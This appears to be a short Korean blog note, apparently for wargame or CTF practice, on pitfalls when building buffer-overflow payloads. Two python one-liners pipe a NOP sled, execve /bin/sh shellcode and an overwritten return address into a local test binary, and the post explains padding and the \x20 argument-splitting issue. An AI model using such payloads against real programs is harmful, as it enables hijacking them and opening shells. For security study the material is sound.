Information*/알면도움됨

payload 짤 시 주의사항

ch4rli3kop 2018. 5. 9. 03:02
반응형

(python -c 'print "\x90"*232 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xef\xbe\xad\xde" + "A"*4 + "\x04\xfa\xff\xbf"';cat)|./test

요렇게 하면 안되는게 shellcode랑 0xdeadbeef랑 구분되게 해주지 않으면 0xdeadbeef 부분까지 code로 알아먹기 때문에 shellcode가 정상적으로 작동이 되지 않음.



(python -c 'print "\x90"*222 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*10 + "\xef\xbe\xad\xde" + "A"*4 + "\x04\xfa\xff\xbf"';cat)|./test


\x20은 white space이다. 근데 이걸로 인자를 구분하므로 만약 프로그램이 argv[1]을 사용한다 가정할 때, python으로 입력을 주는 건 결국 문자열로 주는 것이므로 \x20을 만나면 이 후 문자열은 argv[2]로 들어갈 수 있다.




반응형